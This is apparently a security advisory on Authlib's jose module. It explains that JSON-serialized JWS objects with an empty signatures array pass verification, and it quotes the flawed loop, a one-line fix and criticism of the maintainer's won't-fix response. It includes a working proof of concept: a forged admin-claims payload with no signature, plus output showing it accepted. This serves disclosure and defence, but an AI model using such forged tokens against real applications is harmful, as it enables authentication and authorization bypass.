TL;DR
authlib.jose's JsonWebSignature.deserialize_json() treats a JWS with an empty signatures array as successfully verified - no key required, no signature checked. Any application that verifies attacker-controlled JSON-serialized JWS objects through this API can be fed a forged payload that Authlib will happily hand back as "authenticated." Authlib closed the report as won't-fix, citing the deprecation of the jose module in favor of joserfc. The vulnerability is unpatched and CVE-2026-96760 remains open.
The Bug
The flaw lives in authlib/jose/rfc7515/jws.py:
# authlib/jose/rfc7515/jws.py:205-218
headers = []
is_valid = True # [1] starts True
for header_obj in obj["signatures"]: # [2] zero iterations when signatures = []
jws_header, valid = self._validate_json_jws( # [3] never called
payload_segment, payload, header_obj, key
)
headers.append(jws_header)
if not valid:
is_valid = False # [4] never reached
rv = JWSObject(headers, payload, "json")
if is_valid: # [5] still True
return rv # [6] attacker payload returned as verified
raise BadSignatureError(rv)
is_valid is initialized to True and only flipped to False inside the loop. If signatures is [], the loop body never runs, verification logic never executes, and the function returns success. It's a vacuous-truth bug: "are all signatures valid?" is trivially true over an empty set.
Both public entry points are reachable:
jws.deserialize_json({"payload": "...", "signatures": []}, key) # direct
jws.deserialize('{"payload": "...", "signatures": []}', key) # generic dispatcher
No secondary check catches this. ensure_dict() in authlib/jose/util.py only validates that the top-level object is a dict - it never checks that signatures is non-empty. JWSObject.__init__() is a plain container with no validation of its own.
Proof of Concept
Tested against authlib 1.7.2 (latest as of the report date) on Python 3.12.3.
Baseline - legitimate signature, correctly verified:
Valid token:
{
"payload": "eyJzdWIiOiJsZWdpdC11c2VyIiwiYWRtaW4iOmZhbHNlfQ",
"signatures": [{"protected": "eyJhbGciOiJIUzI1NiJ9", "signature": "..."}]
}
[+] Verification succeeded: payload = b'{"sub":"legit-user","admin":false}'
Baseline - wrong key, correctly rejected:
[+] Correctly rejected - BadSignatureError: bad_signature:
Exploit - forged payload, zero signatures, no key at all:
Malicious JWS:
{
"payload": "eyJzdWIiOiJhdHRhY2tlciIsImFkbWluIjp0cnVlLCJyb2xlIjoic3VwZXJhZG1pbiJ9",
"signatures": []
}
[X VULNERABLE] Verification succeeded WITHOUT any signature!
Payload : b'{"sub":"attacker","admin":true,"role":"superadmin"}'
Headers : []
Type : json
→ Attacker fully controls payload content
→ Application trusts payload as signed by trusted party
The two control cases show the flaw is isolated precisely to the empty-array path: a wrong-key signature is rejected, a right-key signature is accepted, and an absent signature is silently accepted when it should be the most rejected case of all.
Impact
Any application that accepts attacker-controlled JSON JWS input and verifies it via deserialize_json() or deserialize() loses its authenticity and integrity guarantees on that input. Realistic scenarios:
- Authentication bypass - forge
sub,role, or session claims - Inter-service trust bypass - inject arbitrary messages between microservices that exchange JSON JWS
- Authorization forgery - fabricate
scope,tenant, orpermissionsclaims in an authorization-server context
Scope limitation, stated plainly: the compact JWT path - jwt.decode(), the one nearly everyone uses - is not affected. This bug is specific to the JSON Serialization JWS API in the authlib.jose module.
The Fix (that wasn't applied)
A one-line guard closes the hole:
headers = []
+if not obj["signatures"]:
+ raise DecodeError('Missing "signatures" value')
+
is_valid = True
for header_obj in obj["signatures"]:
The Vendor Response
The issue was reported, a maintainer (azmeuk) closed it, with the stated rationale:
"authlib.jose is loudly deprecated in favor of joserfc and will be removed in Authlib 1.8"

That's the entirety of the response - no dispute of the technical finding, no patch, no advisory acknowledgment from the project itself. The reasoning doesn't hold up:
- Deprecated is not the same as removed.
authlib.josestill ships in every 1.7.x release and remains importable, installable, and in active use by every project pinned below 1.8. - CERT/CC didn't treat it as out of scope. They assigned CVE-2026-96760 anyway - a CNA-level signal that "we're deprecating it" isn't a recognized reason to skip a fix for a signature-bypass bug in shipping code.
- "Migrate to joserfc" is not a patch. It pushes the burden of a maintainer-introduced logic flaw onto every downstream user, with no CVE remediation path, no backport, and no timeline commitment for 1.8's actual removal.
Closing a signature-verification-bypass report with a deprecation notice and no fix is, at minimum, an inadequate response to a bug of this class. The vulnerability is real, exploitable, unauthenticated, and - as of this writing - still live in a million users.
A note on "removed, not fixed": deleting the vulnerable module in the next major version does not remediate the bug for anyone still on 1.7.x. Authlib has accumulated over 1.2 billion downloads on PyPI to date, with 128 million in the last 30 days alone, and sits at the root of more than 2,180 dependent repositories. Pinning to a working minor version is standard practice, not negligence, especially for a library this deep in the dependency tree. No CVE-flagged version of
authlib.joseever received a corrected release. Anyone who hasn't migrated tojoserfcby the time they upgrade to 1.8 remains exposed, with no patched intermediate version to land on.